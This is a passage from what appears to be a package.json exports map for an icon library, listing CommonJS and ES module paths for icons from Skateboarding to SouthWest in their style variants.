\"./SkateboardingSharp\": {\n      \"require\": \"./SkateboardingSharp.js\",\n      \"import\": \"./SkateboardingSharp.mjs\",\n      \"default\": \"./SkateboardingSharp.mjs\"\n    },\n    \"./SkateboardingTwoTone\": {\n      \"require\": \"./SkateboardingTwoTone.js\",\n      \"import\": \"./SkateboardingTwoTone.mjs\",\n      \"default\": \"./SkateboardingTwoTone.mjs\"\n    },\n    \"./SkipNext\": {\n      \"require\": \"./SkipNext.js\",\n      \"import\": \"./SkipNext.mjs\",\n      \"default\": \"./SkipNext.mjs\"\n    },\n    \"./SkipNextOutlined\": {\n      \"require\": \"./SkipNextOutlined.js\",\n      \"import\": \"./SkipNextOutlined.mjs\",\n      \"default\": \"./SkipNextOutlined.mjs\"\n    },\n    \"./SkipNextRounded\": {\n      \"import\": \"./SkipNextRounded.mjs\",\n      \"require\": \"./SkipNextRounded.js\",\n      \"default\": \"./SkipNextRounded.mjs\"\n    },\n    \"./SkipNextSharp\": {\n      \"import\": \"./SkipNextSharp.mjs\",\n      \"require\": \"./SkipNextSharp.js\",\n      \"default\": \"./SkipNextSharp.mjs\"\n    },\n    \"./SkipNextTwoTone\": {\n      \"import\": \"./SkipNextTwoTone.mjs\",\n      \"require\": \"./SkipNextTwoTone.js\",\n      \"default\": \"./SkipNextTwoTone.mjs\"\n    },\n    \"./SkipPrevious\": {\n      \"import\": \"./SkipPrevious.mjs\",\n      \"require\": \"./SkipPrevious.js\",\n      \"default\": \"./SkipPrevious.mjs\"\n    },\n    \"./SkipPreviousOutlined\": {\n      \"import\": \"./SkipPreviousOutlined.mjs\",\n      \"require\": \"./SkipPreviousOutlined.js\",\n      \"default\": \"./SkipPreviousOutlined.mjs\"\n    },\n    \"./SkipPreviousRounded\": {\n      \"import\": \"./SkipPreviousRounded.mjs\",\n      \"require\": \"./SkipPreviousRounded.js\",\n      \"default\": \"./SkipPreviousRounded.mjs\"\n    },\n    \"./SkipPreviousSharp\": {\n      \"import\": \"./SkipPreviousSharp.mjs\",\n      \"require\": \"./SkipPreviousSharp.js\",\n      \"default\": \"./SkipPreviousSharp.mjs\"\n    },\n    \"./SkipPreviousTwoTone\": {\n      \"import\": \"./SkipPreviousTwoTone.mjs\",\n      \"require\": \"./SkipPreviousTwoTone.js\",\n      \"default\": \"./SkipPreviousTwoTone.mjs\"\n    },\n    \"./Sledding\": {\n      \"require\": \"./Sledding.js\",\n      \"import\": \"./Sledding.mjs\",\n      \"default\": \"./Sledding.mjs\"\n    },\n    \"./SleddingOutlined\": {\n      \"require\": \"./SleddingOutlined.js\",\n      \"import\": \"./SleddingOutlined.mjs\",\n      \"default\": \"./SleddingOutlined.mjs\"\n    },\n    \"./SleddingRounded\": {\n      \"require\": \"./SleddingRounded.js\",\n      \"import\": \"./SleddingRounded.mjs\",\n      \"default\": \"./SleddingRounded.mjs\"\n    },\n    \"./SleddingSharp\": {\n      \"import\": \"./SleddingSharp.mjs\",\n      \"require\": \"./SleddingSharp.js\",\n      \"default\": \"./SleddingSharp.mjs\"\n    },\n    \"./SleddingTwoTone\": {\n      \"import\": \"./SleddingTwoTone.mjs\",\n      \"require\": \"./SleddingTwoTone.js\",\n      \"default\": \"./SleddingTwoTone.mjs\"\n    },\n    \"./Slideshow\": {\n      \"import\": \"./Slideshow.mjs\",\n      \"require\": \"./Slideshow.js\",\n      \"default\": \"./Slideshow.mjs\"\n    },\n    \"./SlideshowOutlined\": {\n      \"import\": \"./SlideshowOutlined.mjs\",\n      \"require\": \"./SlideshowOutlined.js\",\n      \"default\": \"./SlideshowOutlined.mjs\"\n    },\n    \"./SlideshowRounded\": {\n      \"import\": \"./SlideshowRounded.mjs\",\n      \"require\": \"./SlideshowRounded.js\",\n      \"default\": \"./SlideshowRounded.mjs\"\n    },\n    \"./SlideshowSharp\": {\n      \"require\": \"./SlideshowSharp.js\",\n      \"import\": \"./SlideshowSharp.mjs\",\n      \"default\": \"./SlideshowSharp.mjs\"\n    },\n    \"./SlideshowTwoTone\": {\n      \"import\": \"./SlideshowTwoTone.mjs\",\n      \"require\": \"./SlideshowTwoTone.js\",\n      \"default\": \"./SlideshowTwoTone.mjs\"\n    },\n    \"./SlowMotionVideo\": {\n      \"import\": \"./SlowMotionVideo.mjs\",\n      \"require\": \"./SlowMotionVideo.js\",\n      \"default\": \"./SlowMotionVideo.mjs\"\n    },\n    \"./SlowMotionVideoOutlined\": {\n      \"import\": \"./SlowMotionVideoOutlined.mjs\",\n      \"require\": \"./SlowMotionVideoOutlined.js\",\n      \"default\": \"./SlowMotionVideoOutlined.mjs\"\n    },\n    \"./SlowMotionVideoRounded\": {\n      \"require\": \"./SlowMotionVideoRounded.js\",\n      \"import\": \"./SlowMotionVideoRounded.mjs\",\n      \"default\": \"./SlowMotionVideoRounded.mjs\"\n    },\n    \"./SlowMotionVideoSharp\": {\n      \"require\": \"./SlowMotionVideoSharp.js\",\n      \"import\": \"./SlowMotionVideoSharp.mjs\",\n      \"default\": \"./SlowMotionVideoSharp.mjs\"\n    },\n    \"./SlowMotionVideoTwoTone\": {\n      \"require\": \"./SlowMotionVideoTwoTone.js\",\n      \"import\": \"./SlowMotionVideoTwoTone.mjs\",\n      \"default\": \"./SlowMotionVideoTwoTone.mjs\"\n    },\n    \"./SmartButton\": {\n      \"require\": \"./SmartButton.js\",\n      \"import\": \"./SmartButton.mjs\",\n      \"default\": \"./SmartButton.mjs\"\n    },\n    \"./SmartButtonOutlined\": {\n      \"require\": \"./SmartButtonOutlined.js\",\n      \"import\": \"./SmartButtonOutlined.mjs\",\n      \"default\": \"./SmartButtonOutlined.mjs\"\n    },\n    \"./SmartButtonRounded\": {\n      \"require\": \"./SmartButtonRounded.js\",\n      \"import\": \"./SmartButtonRounded.mjs\",\n      \"default\": \"./SmartButtonRounded.mjs\"\n    },\n    \"./SmartButtonSharp\": {\n      \"require\": \"./SmartButtonSharp.js\",\n      \"import\": \"./SmartButtonSharp.mjs\",\n      \"default\": \"./SmartButtonSharp.mjs\"\n    },\n    \"./SmartButtonTwoTone\": {\n      \"require\": \"./SmartButtonTwoTone.js\",\n      \"import\": \"./SmartButtonTwoTone.mjs\",\n      \"default\": \"./SmartButtonTwoTone.mjs\"\n    },\n    \"./SmartDisplay\": {\n      \"require\": \"./SmartDisplay.js\",\n      \"import\": \"./SmartDisplay.mjs\",\n      \"default\": \"./SmartDisplay.mjs\"\n    },\n    \"./SmartDisplayOutlined\": {\n      \"require\": \"./SmartDisplayOutlined.js\",\n      \"import\": \"./SmartDisplayOutlined.mjs\",\n      \"default\": \"./SmartDisplayOutlined.mjs\"\n    },\n    \"./SmartDisplayRounded\": {\n      \"require\": \"./SmartDisplayRounded.js\",\n      \"import\": \"./SmartDisplayRounded.mjs\",\n      \"default\": \"./SmartDisplayRounded.mjs\"\n    },\n    \"./SmartDisplaySharp\": {\n      \"require\": \"./SmartDisplaySharp.js\",\n      \"import\": \"./SmartDisplaySharp.mjs\",\n      \"default\": \"./SmartDisplaySharp.mjs\"\n    },\n    \"./SmartDisplayTwoTone\": {\n      \"require\": \"./SmartDisplayTwoTone.js\",\n      \"import\": \"./SmartDisplayTwoTone.mjs\",\n      \"default\": \"./SmartDisplayTwoTone.mjs\"\n    },\n    \"./SmartScreen\": {\n      \"require\": \"./SmartScreen.js\",\n      \"import\": \"./SmartScreen.mjs\",\n      \"default\": \"./SmartScreen.mjs\"\n    },\n    \"./SmartScreenOutlined\": {\n      \"require\": \"./SmartScreenOutlined.js\",\n      \"import\": \"./SmartScreenOutlined.mjs\",\n      \"default\": \"./SmartScreenOutlined.mjs\"\n    },\n    \"./SmartScreenRounded\": {\n      \"require\": \"./SmartScreenRounded.js\",\n      \"import\": \"./SmartScreenRounded.mjs\",\n      \"default\": \"./SmartScreenRounded.mjs\"\n    },\n    \"./SmartScreenSharp\": {\n      \"require\": \"./SmartScreenSharp.js\",\n      \"import\": \"./SmartScreenSharp.mjs\",\n      \"default\": \"./SmartScreenSharp.mjs\"\n    },\n    \"./SmartScreenTwoTone\": {\n      \"require\": \"./SmartScreenTwoTone.js\",\n      \"import\": \"./SmartScreenTwoTone.mjs\",\n      \"default\": \"./SmartScreenTwoTone.mjs\"\n    },\n    \"./SmartToy\": {\n      \"require\": \"./SmartToy.js\",\n      \"import\": \"./SmartToy.mjs\",\n      \"default\": \"./SmartToy.mjs\"\n    },\n    \"./SmartToyOutlined\": {\n      \"import\": \"./SmartToyOutlined.mjs\",\n      \"require\": \"./SmartToyOutlined.js\",\n      \"default\": \"./SmartToyOutlined.mjs\"\n    },\n    \"./SmartToyRounded\": {\n      \"import\": \"./SmartToyRounded.mjs\",\n      \"require\": \"./SmartToyRounded.js\",\n      \"default\": \"./SmartToyRounded.mjs\"\n    },\n    \"./SmartToySharp\": {\n      \"import\": \"./SmartToySharp.mjs\",\n      \"require\": \"./SmartToySharp.js\",\n      \"default\": \"./SmartToySharp.mjs\"\n    },\n    \"./SmartToyTwoTone\": {\n      \"import\": \"./SmartToyTwoTone.mjs\",\n      \"require\": \"./SmartToyTwoTone.js\",\n      \"default\": \"./SmartToyTwoTone.mjs\"\n    },\n    \"./Smartphone\": {\n      \"import\": \"./Smartphone.mjs\",\n      \"require\": \"./Smartphone.js\",\n      \"default\": \"./Smartphone.mjs\"\n    },\n    \"./SmartphoneOutlined\": {\n      \"require\": \"./SmartphoneOutlined.js\",\n      \"import\": \"./SmartphoneOutlined.mjs\",\n      \"default\": \"./SmartphoneOutlined.mjs\"\n    },\n    \"./SmartphoneRounded\": {\n      \"require\": \"./SmartphoneRounded.js\",\n      \"import\": \"./SmartphoneRounded.mjs\",\n      \"default\": \"./SmartphoneRounded.mjs\"\n    },\n    \"./SmartphoneSharp\": {\n      \"require\": \"./SmartphoneSharp.js\",\n      \"import\": \"./SmartphoneSharp.mjs\",\n      \"default\": \"./SmartphoneSharp.mjs\"\n    },\n    \"./SmartphoneTwoTone\": {\n      \"import\": \"./SmartphoneTwoTone.mjs\",\n      \"require\": \"./SmartphoneTwoTone.js\",\n      \"default\": \"./SmartphoneTwoTone.mjs\"\n    },\n    \"./SmokeFree\": {\n      \"import\": \"./SmokeFree.mjs\",\n      \"require\": \"./SmokeFree.js\",\n      \"default\": \"./SmokeFree.mjs\"\n    },\n    \"./SmokeFreeOutlined\": {\n      \"require\": \"./SmokeFreeOutlined.js\",\n      \"import\": \"./SmokeFreeOutlined.mjs\",\n      \"default\": \"./SmokeFreeOutlined.mjs\"\n    },\n    \"./SmokeFreeRounded\": {\n      \"require\": \"./SmokeFreeRounded.js\",\n      \"import\": \"./SmokeFreeRounded.mjs\",\n      \"default\": \"./SmokeFreeRounded.mjs\"\n    },\n    \"./SmokeFreeSharp\": {\n      \"require\": \"./SmokeFreeSharp.js\",\n      \"import\": \"./SmokeFreeSharp.mjs\",\n      \"default\": \"./SmokeFreeSharp.mjs\"\n    },\n    \"./SmokeFreeTwoTone\": {\n      \"require\": \"./SmokeFreeTwoTone.js\",\n      \"import\": \"./SmokeFreeTwoTone.mjs\",\n      \"default\": \"./SmokeFreeTwoTone.mjs\"\n    },\n    \"./SmokingRooms\": {\n      \"require\": \"./SmokingRooms.js\",\n      \"import\": \"./SmokingRooms.mjs\",\n      \"default\": \"./SmokingRooms.mjs\"\n    },\n    \"./SmokingRoomsOutlined\": {\n      \"import\": \"./SmokingRoomsOutlined.mjs\",\n      \"require\": \"./SmokingRoomsOutlined.js\",\n      \"default\": \"./SmokingRoomsOutlined.mjs\"\n    },\n    \"./SmokingRoomsRounded\": {\n      \"import\": \"./SmokingRoomsRounded.mjs\",\n      \"require\": \"./SmokingRoomsRounded.js\",\n      \"default\": \"./SmokingRoomsRounded.mjs\"\n    },\n    \"./SmokingRoomsSharp\": {\n      \"import\": \"./SmokingRoomsSharp.mjs\",\n      \"require\": \"./SmokingRoomsSharp.js\",\n      \"default\": \"./SmokingRoomsSharp.mjs\"\n    },\n    \"./SmokingRoomsTwoTone\": {\n      \"import\": \"./SmokingRoomsTwoTone.mjs\",\n      \"require\": \"./SmokingRoomsTwoTone.js\",\n      \"default\": \"./SmokingRoomsTwoTone.mjs\"\n    },\n    \"./Sms\": {\n      \"import\": \"./Sms.mjs\",\n      \"require\": \"./Sms.js\",\n      \"default\": \"./Sms.mjs\"\n    },\n    \"./SmsFailed\": {\n      \"import\": \"./SmsFailed.mjs\",\n      \"require\": \"./SmsFailed.js\",\n      \"default\": \"./SmsFailed.mjs\"\n    },\n    \"./SmsFailedOutlined\": {\n      \"import\": \"./SmsFailedOutlined.mjs\",\n      \"require\": \"./SmsFailedOutlined.js\",\n      \"default\": \"./SmsFailedOutlined.mjs\"\n    },\n    \"./SmsFailedRounded\": {\n      \"require\": \"./SmsFailedRounded.js\",\n      \"import\": \"./SmsFailedRounded.mjs\",\n      \"default\": \"./SmsFailedRounded.mjs\"\n    },\n    \"./SmsFailedSharp\": {\n      \"require\": \"./SmsFailedSharp.js\",\n      \"import\": \"./SmsFailedSharp.mjs\",\n      \"default\": \"./SmsFailedSharp.mjs\"\n    },\n    \"./SmsFailedTwoTone\": {\n      \"require\": \"./SmsFailedTwoTone.js\",\n      \"import\": \"./SmsFailedTwoTone.mjs\",\n      \"default\": \"./SmsFailedTwoTone.mjs\"\n    },\n    \"./SmsOutlined\": {\n      \"require\": \"./SmsOutlined.js\",\n      \"import\": \"./SmsOutlined.mjs\",\n      \"default\": \"./SmsOutlined.mjs\"\n    },\n    \"./SmsRounded\": {\n      \"require\": \"./SmsRounded.js\",\n      \"import\": \"./SmsRounded.mjs\",\n      \"default\": \"./SmsRounded.mjs\"\n    },\n    \"./SmsSharp\": {\n      \"require\": \"./SmsSharp.js\",\n      \"import\": \"./SmsSharp.mjs\",\n      \"default\": \"./SmsSharp.mjs\"\n    },\n    \"./SmsTwoTone\": {\n      \"require\": \"./SmsTwoTone.js\",\n      \"import\": \"./SmsTwoTone.mjs\",\n      \"default\": \"./SmsTwoTone.mjs\"\n    },\n    \"./SnippetFolder\": {\n      \"require\": \"./SnippetFolder.js\",\n      \"import\": \"./SnippetFolder.mjs\",\n      \"default\": \"./SnippetFolder.mjs\"\n    },\n    \"./SnippetFolderOutlined\": {\n      \"import\": \"./SnippetFolderOutlined.mjs\",\n      \"require\": \"./SnippetFolderOutlined.js\",\n      \"default\": \"./SnippetFolderOutlined.mjs\"\n    },\n    \"./SnippetFolderRounded\": {\n      \"import\": \"./SnippetFolderRounded.mjs\",\n      \"require\": \"./SnippetFolderRounded.js\",\n      \"default\": \"./SnippetFolderRounded.mjs\"\n    },\n    \"./SnippetFolderSharp\": {\n      \"require\": \"./SnippetFolderSharp.js\",\n      \"import\": \"./SnippetFolderSharp.mjs\",\n      \"default\": \"./SnippetFolderSharp.mjs\"\n    },\n    \"./SnippetFolderTwoTone\": {\n      \"require\": \"./SnippetFolderTwoTone.js\",\n      \"import\": \"./SnippetFolderTwoTone.mjs\",\n      \"default\": \"./SnippetFolderTwoTone.mjs\"\n    },\n    \"./Snooze\": {\n      \"require\": \"./Snooze.js\",\n      \"import\": \"./Snooze.mjs\",\n      \"default\": \"./Snooze.mjs\"\n    },\n    \"./SnoozeOutlined\": {\n      \"require\": \"./SnoozeOutlined.js\",\n      \"import\": \"./SnoozeOutlined.mjs\",\n      \"default\": \"./SnoozeOutlined.mjs\"\n    },\n    \"./SnoozeRounded\": {\n      \"require\": \"./SnoozeRounded.js\",\n      \"import\": \"./SnoozeRounded.mjs\",\n      \"default\": \"./SnoozeRounded.mjs\"\n    },\n    \"./SnoozeSharp\": {\n      \"require\": \"./SnoozeSharp.js\",\n      \"import\": \"./SnoozeSharp.mjs\",\n      \"default\": \"./SnoozeSharp.mjs\"\n    },\n    \"./SnoozeTwoTone\": {\n      \"require\": \"./SnoozeTwoTone.js\",\n      \"import\": \"./SnoozeTwoTone.mjs\",\n      \"default\": \"./SnoozeTwoTone.mjs\"\n    },\n    \"./Snowboarding\": {\n      \"require\": \"./Snowboarding.js\",\n      \"import\": \"./Snowboarding.mjs\",\n      \"default\": \"./Snowboarding.mjs\"\n    },\n    \"./SnowboardingOutlined\": {\n      \"require\": \"./SnowboardingOutlined.js\",\n      \"import\": \"./SnowboardingOutlined.mjs\",\n      \"default\": \"./SnowboardingOutlined.mjs\"\n    },\n    \"./SnowboardingRounded\": {\n      \"require\": \"./SnowboardingRounded.js\",\n      \"import\": \"./SnowboardingRounded.mjs\",\n      \"default\": \"./SnowboardingRounded.mjs\"\n    },\n    \"./SnowboardingSharp\": {\n      \"require\": \"./SnowboardingSharp.js\",\n      \"import\": \"./SnowboardingSharp.mjs\",\n      \"default\": \"./SnowboardingSharp.mjs\"\n    },\n    \"./SnowboardingTwoTone\": {\n      \"import\": \"./SnowboardingTwoTone.mjs\",\n      \"require\": \"./SnowboardingTwoTone.js\",\n      \"default\": \"./SnowboardingTwoTone.mjs\"\n    },\n    \"./Snowing\": {\n      \"import\": \"./Snowing.mjs\",\n      \"require\": \"./Snowing.js\",\n      \"default\": \"./Snowing.mjs\"\n    },\n    \"./Snowmobile\": {\n      \"import\": \"./Snowmobile.mjs\",\n      \"require\": \"./Snowmobile.js\",\n      \"default\": \"./Snowmobile.mjs\"\n    },\n    \"./SnowmobileOutlined\": {\n      \"import\": \"./SnowmobileOutlined.mjs\",\n      \"require\": \"./SnowmobileOutlined.js\",\n      \"default\": \"./SnowmobileOutlined.mjs\"\n    },\n    \"./SnowmobileRounded\": {\n      \"import\": \"./SnowmobileRounded.mjs\",\n      \"require\": \"./SnowmobileRounded.js\",\n      \"default\": \"./SnowmobileRounded.mjs\"\n    },\n    \"./SnowmobileSharp\": {\n      \"require\": \"./SnowmobileSharp.js\",\n      \"import\": \"./SnowmobileSharp.mjs\",\n      \"default\": \"./SnowmobileSharp.mjs\"\n    },\n    \"./SnowmobileTwoTone\": {\n      \"require\": \"./SnowmobileTwoTone.js\",\n      \"import\": \"./SnowmobileTwoTone.mjs\",\n      \"default\": \"./SnowmobileTwoTone.mjs\"\n    },\n    \"./Snowshoeing\": {\n      \"require\": \"./Snowshoeing.js\",\n      \"import\": \"./Snowshoeing.mjs\",\n      \"default\": \"./Snowshoeing.mjs\"\n    },\n    \"./SnowshoeingOutlined\": {\n      \"require\": \"./SnowshoeingOutlined.js\",\n      \"import\": \"./SnowshoeingOutlined.mjs\",\n      \"default\": \"./SnowshoeingOutlined.mjs\"\n    },\n    \"./SnowshoeingRounded\": {\n      \"require\": \"./SnowshoeingRounded.js\",\n      \"import\": \"./SnowshoeingRounded.mjs\",\n      \"default\": \"./SnowshoeingRounded.mjs\"\n    },\n    \"./SnowshoeingSharp\": {\n      \"require\": \"./SnowshoeingSharp.js\",\n      \"import\": \"./SnowshoeingSharp.mjs\",\n      \"default\": \"./SnowshoeingSharp.mjs\"\n    },\n    \"./SnowshoeingTwoTone\": {\n      \"require\": \"./SnowshoeingTwoTone.js\",\n      \"import\": \"./SnowshoeingTwoTone.mjs\",\n      \"default\": \"./SnowshoeingTwoTone.mjs\"\n    },\n    \"./Soap\": {\n      \"require\": \"./Soap.js\",\n      \"import\": \"./Soap.mjs\",\n      \"default\": \"./Soap.mjs\"\n    },\n    \"./SoapOutlined\": {\n      \"require\": \"./SoapOutlined.js\",\n      \"import\": \"./SoapOutlined.mjs\",\n      \"default\": \"./SoapOutlined.mjs\"\n    },\n    \"./SoapRounded\": {\n      \"require\": \"./SoapRounded.js\",\n      \"import\": \"./SoapRounded.mjs\",\n      \"default\": \"./SoapRounded.mjs\"\n    },\n    \"./SoapSharp\": {\n      \"require\": \"./SoapSharp.js\",\n      \"import\": \"./SoapSharp.mjs\",\n      \"default\": \"./SoapSharp.mjs\"\n    },\n    \"./SoapTwoTone\": {\n      \"require\": \"./SoapTwoTone.js\",\n      \"import\": \"./SoapTwoTone.mjs\",\n      \"default\": \"./SoapTwoTone.mjs\"\n    },\n    \"./SocialDistance\": {\n      \"require\": \"./SocialDistance.js\",\n      \"import\": \"./SocialDistance.mjs\",\n      \"default\": \"./SocialDistance.mjs\"\n    },\n    \"./SocialDistanceOutlined\": {\n      \"import\": \"./SocialDistanceOutlined.mjs\",\n      \"require\": \"./SocialDistanceOutlined.js\",\n      \"default\": \"./SocialDistanceOutlined.mjs\"\n    },\n    \"./SocialDistanceRounded\": {\n      \"import\": \"./SocialDistanceRounded.mjs\",\n      \"require\": \"./SocialDistanceRounded.js\",\n      \"default\": \"./SocialDistanceRounded.mjs\"\n    },\n    \"./SocialDistanceSharp\": {\n      \"import\": \"./SocialDistanceSharp.mjs\",\n      \"require\": \"./SocialDistanceSharp.js\",\n      \"default\": \"./SocialDistanceSharp.mjs\"\n    },\n    \"./SocialDistanceTwoTone\": {\n      \"import\": \"./SocialDistanceTwoTone.mjs\",\n      \"require\": \"./SocialDistanceTwoTone.js\",\n      \"default\": \"./SocialDistanceTwoTone.mjs\"\n    },\n    \"./SolarPower\": {\n      \"import\": \"./SolarPower.mjs\",\n      \"require\": \"./SolarPower.js\",\n      \"default\": \"./SolarPower.mjs\"\n    },\n    \"./SolarPowerOutlined\": {\n      \"import\": \"./SolarPowerOutlined.mjs\",\n      \"require\": \"./SolarPowerOutlined.js\",\n      \"default\": \"./SolarPowerOutlined.mjs\"\n    },\n    \"./SolarPowerRounded\": {\n      \"import\": \"./SolarPowerRounded.mjs\",\n      \"require\": \"./SolarPowerRounded.js\",\n      \"default\": \"./SolarPowerRounded.mjs\"\n    },\n    \"./SolarPowerSharp\": {\n      \"import\": \"./SolarPowerSharp.mjs\",\n      \"require\": \"./SolarPowerSharp.js\",\n      \"default\": \"./SolarPowerSharp.mjs\"\n    },\n    \"./SolarPowerTwoTone\": {\n      \"import\": \"./SolarPowerTwoTone.mjs\",\n      \"require\": \"./SolarPowerTwoTone.js\",\n      \"default\": \"./SolarPowerTwoTone.mjs\"\n    },\n    \"./Sort\": {\n      \"import\": \"./Sort.mjs\",\n      \"require\": \"./Sort.js\",\n      \"default\": \"./Sort.mjs\"\n    },\n    \"./SortByAlpha\": {\n      \"import\": \"./SortByAlpha.mjs\",\n      \"require\": \"./SortByAlpha.js\",\n      \"default\": \"./SortByAlpha.mjs\"\n    },\n    \"./SortByAlphaOutlined\": {\n      \"import\": \"./SortByAlphaOutlined.mjs\",\n      \"require\": \"./SortByAlphaOutlined.js\",\n      \"default\": \"./SortByAlphaOutlined.mjs\"\n    },\n    \"./SortByAlphaRounded\": {\n      \"import\": \"./SortByAlphaRounded.mjs\",\n      \"require\": \"./SortByAlphaRounded.js\",\n      \"default\": \"./SortByAlphaRounded.mjs\"\n    },\n    \"./SortByAlphaSharp\": {\n      \"import\": \"./SortByAlphaSharp.mjs\",\n      \"require\": \"./SortByAlphaSharp.js\",\n      \"default\": \"./SortByAlphaSharp.mjs\"\n    },\n    \"./SortByAlphaTwoTone\": {\n      \"import\": \"./SortByAlphaTwoTone.mjs\",\n      \"require\": \"./SortByAlphaTwoTone.js\",\n      \"default\": \"./SortByAlphaTwoTone.mjs\"\n    },\n    \"./SortOutlined\": {\n      \"import\": \"./SortOutlined.mjs\",\n      \"require\": \"./SortOutlined.js\",\n      \"default\": \"./SortOutlined.mjs\"\n    },\n    \"./SortRounded\": {\n      \"require\": \"./SortRounded.js\",\n      \"import\": \"./SortRounded.mjs\",\n      \"default\": \"./SortRounded.mjs\"\n    },\n    \"./SortSharp\": {\n      \"require\": \"./SortSharp.js\",\n      \"import\": \"./SortSharp.mjs\",\n      \"default\": \"./SortSharp.mjs\"\n    },\n    \"./SortTwoTone\": {\n      \"require\": \"./SortTwoTone.js\",\n      \"import\": \"./SortTwoTone.mjs\",\n      \"default\": \"./SortTwoTone.mjs\"\n    },\n    \"./Sos\": {\n      \"require\": \"./Sos.js\",\n      \"import\": \"./Sos.mjs\",\n      \"default\": \"./Sos.mjs\"\n    },\n    \"./SosOutlined\": {\n      \"require\": \"./SosOutlined.js\",\n      \"import\": \"./SosOutlined.mjs\",\n      \"default\": \"./SosOutlined.mjs\"\n    },\n    \"./SosRounded\": {\n      \"require\": \"./SosRounded.js\",\n      \"import\": \"./SosRounded.mjs\",\n      \"default\": \"./SosRounded.mjs\"\n    },\n    \"./SosSharp\": {\n      \"import\": \"./SosSharp.mjs\",\n      \"require\": \"./SosSharp.js\",\n      \"default\": \"./SosSharp.mjs\"\n    },\n    \"./SosTwoTone\": {\n      \"import\": \"./SosTwoTone.mjs\",\n      \"require\": \"./SosTwoTone.js\",\n      \"default\": \"./SosTwoTone.mjs\"\n    },\n    \"./SoupKitchen\": {\n      \"require\": \"./SoupKitchen.js\",\n      \"import\": \"./SoupKitchen.mjs\",\n      \"default\": \"./SoupKitchen.mjs\"\n    },\n    \"./SoupKitchenOutlined\": {\n      \"require\": \"./SoupKitchenOutlined.js\",\n      \"import\": \"./SoupKitchenOutlined.mjs\",\n      \"default\": \"./SoupKitchenOutlined.mjs\"\n    },\n    \"./SoupKitchenRounded\": {\n      \"require\": \"./SoupKitchenRounded.js\",\n      \"import\": \"./SoupKitchenRounded.mjs\",\n      \"default\": \"./SoupKitchenRounded.mjs\"\n    },\n    \"./SoupKitchenSharp\": {\n      \"require\": \"./SoupKitchenSharp.js\",\n      \"import\": \"./SoupKitchenSharp.mjs\",\n      \"default\": \"./SoupKitchenSharp.mjs\"\n    },\n    \"./SoupKitchenTwoTone\": {\n      \"require\": \"./SoupKitchenTwoTone.js\",\n      \"import\": \"./SoupKitchenTwoTone.mjs\",\n      \"default\": \"./SoupKitchenTwoTone.mjs\"\n    },\n    \"./Source\": {\n      \"require\": \"./Source.js\",\n      \"import\": \"./Source.mjs\",\n      \"default\": \"./Source.mjs\"\n    },\n    \"./SourceOutlined\": {\n      \"require\": \"./SourceOutlined.js\",\n      \"import\": \"./SourceOutlined.mjs\",\n      \"default\": \"./SourceOutlined.mjs\"\n    },\n    \"./SourceRounded\": {\n      \"require\": \"./SourceRounded.js\",\n      \"import\": \"./SourceRounded.mjs\",\n      \"default\": \"./SourceRounded.mjs\"\n    },\n    \"./SourceSharp\": {\n      \"require\": \"./SourceSharp.js\",\n      \"import\": \"./SourceSharp.mjs\",\n      \"default\": \"./SourceSharp.mjs\"\n    },\n    \"./SourceTwoTone\": {\n      \"require\": \"./SourceTwoTone.js\",\n      \"import\": \"./SourceTwoTone.mjs\",\n      \"default\": \"./SourceTwoTone.mjs\"\n    },\n    \"./South\": {\n      \"require\": \"./South.js\",\n      \"import\": \"./South.mjs\",\n      \"default\": \"./South.mjs\"\n    },\n    \"./SouthAmerica\": {\n      \"require\": \"./SouthAmerica.js\",\n      \"import\": \"./SouthAmerica.mjs\",\n      \"default\": \"./SouthAmerica.mjs\"\n    },\n    \"./SouthAmericaOutlined\": {\n      \"require\": \"./SouthAmericaOutlined.js\",\n      \"import\": \"./SouthAmericaOutlined.mjs\",\n      \"default\": \"./SouthAmericaOutlined.mjs\"\n    },\n    \"./SouthAmericaRounded\": {\n      \"require\": \"./SouthAmericaRounded.js\",\n      \"import\": \"./SouthAmericaRounded.mjs\",\n      \"default\": \"./SouthAmericaRounded.mjs\"\n    },\n    \"./SouthAmericaSharp\": {\n      \"require\": \"./SouthAmericaSharp.js\",\n      \"import\": \"./SouthAmericaSharp.mjs\",\n      \"default\": \"./SouthAmericaSharp.mjs\"\n    },\n    \"./SouthAmericaTwoTone\": {\n      \"require\": \"./SouthAmericaTwoTone.js\",\n      \"import\": \"./SouthAmericaTwoTone.mjs\",\n      \"default\": \"./SouthAmericaTwoTone.mjs\"\n    },\n    \"./SouthEast\": {\n      \"require\": \"./SouthEast.js\",\n      \"import\": \"./SouthEast.mjs\",\n      \"default\": \"./SouthEast.mjs\"\n    },\n    \"./SouthEastOutlined\": {\n      \"require\": \"./SouthEastOutlined.js\",\n      \"import\": \"./SouthEastOutlined.mjs\",\n      \"default\": \"./SouthEastOutlined.mjs\"\n    },\n    \"./SouthEastRounded\": {\n      \"require\": \"./SouthEastRounded.js\",\n      \"import\": \"./SouthEastRounded.mjs\",\n      \"default\": \"./SouthEastRounded.mjs\"\n    },\n    \"./SouthEastSharp\": {\n      \"require\": \"./SouthEastSharp.js\",\n      \"import\": \"./SouthEastSharp.mjs\",\n      \"default\": \"./SouthEastSharp.mjs\"\n    },\n    \"./SouthEastTwoTone\": {\n      \"require\": \"./SouthEastTwoTone.js\",\n      \"import\": \"./SouthEastTwoTone.mjs\",\n      \"default\": \"./SouthEastTwoTone.mjs\"\n    },\n    \"./SouthOutlined\": {\n      \"require\": \"./SouthOutlined.js\",\n      \"import\": \"./SouthOutlined.mjs\",\n      \"default\": \"./SouthOutlined.mjs\"\n    },\n    \"./SouthRounded\": {\n      \"require\": \"./SouthRounded.js\",\n      \"import\": \"./SouthRounded.mjs\",\n      \"default\": \"./SouthRounded.mjs\"\n    },\n    \"./SouthSharp\": {\n      \"require\": \"./SouthSharp.js\",\n      \"import\": \"./SouthSharp.mjs\",\n      \"default\": \"./SouthSharp.mjs\"\n    },\n    \"./SouthTwoTone\": {\n      \"require\": \"./SouthTwoTone.js\",\n      \"import\": \"./SouthTwoTone.mjs\",\n      \"default\": \"./SouthTwoTone.mjs\"\n    },\n    \"./SouthWest\": {\n      \"require\": \"./SouthWest.js\",\n      \"import\": \"./SouthWest.mjs\",\n      \"default\": \"./SouthWest.mjs\"\n    },\n    \"./SouthWestOutlined\": {\n      \"require\": \"./SouthWestOutlined.js\",\n      \"import\": \"./SouthWestOutlined.mjs\",\n      \"default\": \"./SouthWestOutlined.mjs\"\n    },\n    \"./SouthWestRounded\": {\n      \"require\": \"./SouthWestRounded.js\",\n      \"import\": \"./SouthWestRounded.mjs\",\n      \"default\": \"./SouthWestRounded.mjs\"\n    },\n    \"./SouthWestSharp\": {\n      \"require\": \"./SouthWestSharp.js\",\n  